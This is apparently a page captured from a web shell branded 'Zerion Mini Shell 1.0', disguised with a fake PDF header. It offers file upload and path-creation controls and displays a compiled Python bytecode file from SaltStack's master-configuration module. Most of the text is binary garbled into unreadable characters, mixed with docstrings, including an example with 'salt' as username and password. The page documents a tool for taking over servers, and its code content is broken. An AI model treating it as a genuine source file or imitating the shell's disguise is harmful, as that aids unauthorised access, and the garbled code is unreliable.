%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/wheel/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/wheel/config.pyo

�
���^c@@s�dZddlmZmZmZddlZddlZddlZddl	Zddl
ZddlZddlm
Z
eje�Zd�Zd�Zd�ZdS(u&
Manage the master configuration file
i(tabsolute_importtprint_functiontunicode_literalsN(tsixcC@stjjtd�}|S(u2
    Return the raw values of the config file
    u	conf_file(tsalttconfigt
master_configt__opts__(tdata((s5/usr/lib/python2.7/site-packages/salt/wheel/config.pytvaluesscC@s�td}tjj|�r4tjj|d�}nt�}|||<tjjj	|d�� }tjj
j|dt�WdQXdS(ua
    Set a single key

    .. note::

        This will strip comments from your config file
    u	conf_fileumasteruw+tdefault_flow_styleN(
RtostpathtisdirtjoinR	Rtutilstfilestfopentyamlt	safe_dumptFalse(tkeytvalueRRtfp_((s5/usr/lib/python2.7/site-packages/salt/wheel/config.pytapplys
	
cC@s4dj|d�}tjjtdtjjtd��}y�tjjj	|dt
�}tjj|�s�tj
d|�tj|d�ntjj||�}tjjj||�s�dStjjj|d	��}|j|�Wd
QXdj|�SWn2tttjjjtfk
r/}tj|�SXd
S(u{
    Update master config with
    ``yaml_contents``.

    Writes ``yaml_contents`` to a file named
    ``file_name.conf`` under the folder
    specified by ``default_include``.
    This folder is named ``master.d`` by
    default. Please look at
    :conf_master:`include-configuration`
    for more information.

    Example low data:

    .. code-block:: python

        data = {
            'username': 'salt',
            'password': 'salt',
            'fun': 'config.update_config',
            'file_name': 'gui',
            'yaml_contents': {'id': 1},
            'client': 'wheel',
            'eauth': 'pam',
        }
    u{0}{1}u.confu
config_dirudefault_includeR
uCreating directory %si�uInvalid pathuwNu	Wrote {0}(tformatRRRRtdirnameRRRRRtexiststlogtdebugtmakedirstverifyt
clean_pathRRtwritetIOErrortOSErrort	YAMLErrort
ValueErrorRt	text_type(t	file_namet
yaml_contentstdir_pathtyaml_outt	file_pathRterr((s5/usr/lib/python2.7/site-packages/salt/wheel/config.pyt
update_config0s$	$(t__doc__t
__future__RRRtloggingRtsalt.configRtsalt.utils.filestsalt.utils.yamltsalt.utils.verifytsalt.extRt	getLoggert__name__RR	RR-(((s5/usr/lib/python2.7/site-packages/salt/wheel/config.pyt<module>s		

Zerion Mini Shell 1.0